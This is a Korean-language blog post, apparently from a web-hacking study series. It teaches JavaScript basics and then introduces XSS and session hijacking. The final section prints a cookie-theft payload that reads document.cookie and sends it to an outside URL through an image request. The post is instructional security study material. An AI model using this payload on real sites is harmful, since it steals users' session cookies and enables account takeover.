자바 스크립트 (JavaScript) 란?
자바스크립트는 객체 기반(object oriented)의 스크립트 언어이다.
단순한 정적 정보를 표시하는 것 이상으로 웹 페이지에서 복잡한 기능을 구현할 수 있다. 예) 콘텐츠 업데이트, 대화형 지도, 애니메이션 2D/3D 그래픽, 스크롤링 비디오 주크박스 등 표시
HTML, CSS, JavaScript
프론트엔드 개발은 HTML, CSS, JavaScript를 이용하여 GUI로 변환하고, 사용자와 상호 작용할 수 있도록 한다.
표준 웹 기술을 케이크에 비교할 때, 자바스크립트는 케이크의 세 번째 층이라고 할 수 있다.
- HTML: 웹 내용 작성 및 컨텐츠 구성
- CSS: 웹 디자인
- JavaScript: 웹의 동작 구현
세 언어의 기능적 차이는 위 이미지와 같다. HTML이 뼈대(구조)가 되어 주고, CSS로 상세한 디자인을 입힐 수 있다. 반응해서 움직이게 하는 역할은 JavaScript를 통해 수행한다. 웹 개발에서는 세 가지가 상호 작용하여 높은 퀄리티의 웹 서비스를 만들어낸다.
JavaScript 기초 문법
1. Client Side Script
웹 브라우저에서 실행되는 스크립트이다. 기본적인 스크립트 사용 방법은 다음과 같다.
<html>
<script>
alert("Hello");
</script>
</html>예제와 같이 간단한 알림 메세지를 출력할 수 있다.
2. 변수와 상수
- 변수 선언:
var,let사용
<script>
var a = 123;
var b = 'test';
let c = 123;
let d = 'test';
</script>- 상수 선언:
const사용 (값 변경 불가)
<script>
const a = 123;
a = 'test'; // Error
</script>
3. 출력
<script>
let data = "test";
console.log(data); // 개발자 콘솔에 출력
alert(data); // 브라우저 팝업 메세지
prompt(data); // 사용자 입력 대화상자
confirm(data); // 확인/취소 대화상자
</script>
4. 조건문과 반복문
if/else
<script>
let data = 'test';
if(data == 'test'){
console.log("Same!");
}else{
console.log("Not Same");
}
</script>for
<script>
for(var i = 0; i < 10; i++){
console.log(i);
}
</script>for of: 배열 순회
<script>
let arr = ['1', '2', '3'];
for(let element of arr){
console.log(element);
}
</script>for in: 객체의 키 순회
<script>
let info = {name:"normaltic", score:"100", userid:"normal"};
for(let key in info){
console.log(key + " : " + info[key]);
}
</script>while
<script>
var i = 0;
while(i < 10){
console.log(i);
i++;
}
</script>
5. 함수 정의 및 호출
<script>
function showshow(data){
alert(data);
}
showshow('test');
</script>
XSS (Cross-Site Scripting)란?
XSS는 공격자가 웹 사이트에 악성 스크립트를 삽입할 수 있는 공격이다. 공격 시, 피해자의 브라우저에서 공격자가 삽입한 스크립트가 실행된다.
- 세션 하이재킹 (Hijack Session ID)
: 사용자의 유효한 세션을 불법적으로 탈취하여 무단으로 접근하는 공격 방식, 공격자가 피해자의 인증된 세션을 가로채 해당 사용자인 것처럼 행동할 수 있다.- 쿠키나 URL 파라미터로 저장된 세션 ID를 획득
- 쿠키 탈취
- 네트워크 스니핑
- XSS 공격
- Man-in-the-Middle 공격
그 외
<script>
var cookieData = document.cookie;
</script>데이터 전송
쿠키 정보를 외부 서버로 전송할 수 있다.
하단 코드는 XMLHttpRequest를 사용한 HTTP 요청 예시이다.
<script>
const Http = new XMLHttpRequest();
const url = 'https://normaltic.com/test.php';
Http.open('GET', url);
Http.send();
Http.onreadystatechange = (e) => {
console.log(Http.responseText);
};
</script>
해커처럼 시도한다면?
<script>
var cookieData = document.cookie;
var attackURL = "http://normaltic.com/getCred.php?cookie=" + cookieData;
new Image().src = attackURL + cookieData;
</script>'모의해킹 > 웹해킹스터디' 카테고리의 다른 글
| SQL Injection 이해하기 (0) | 2024.11.29 |
|---|---|
| Burp Suite 사용법 (0) | 2024.11.27 |
| 쿠키(Cookie)와 세션(Session) (0) | 2024.11.27 |
| [실습] 4개 로직 반영한 로그인 페이지 만들기 (0) | 2024.11.27 |
| 로그인 로직 이해하기 - 식별과 인증, 그리고 해시 (Hash) (1) | 2024.11.27 |
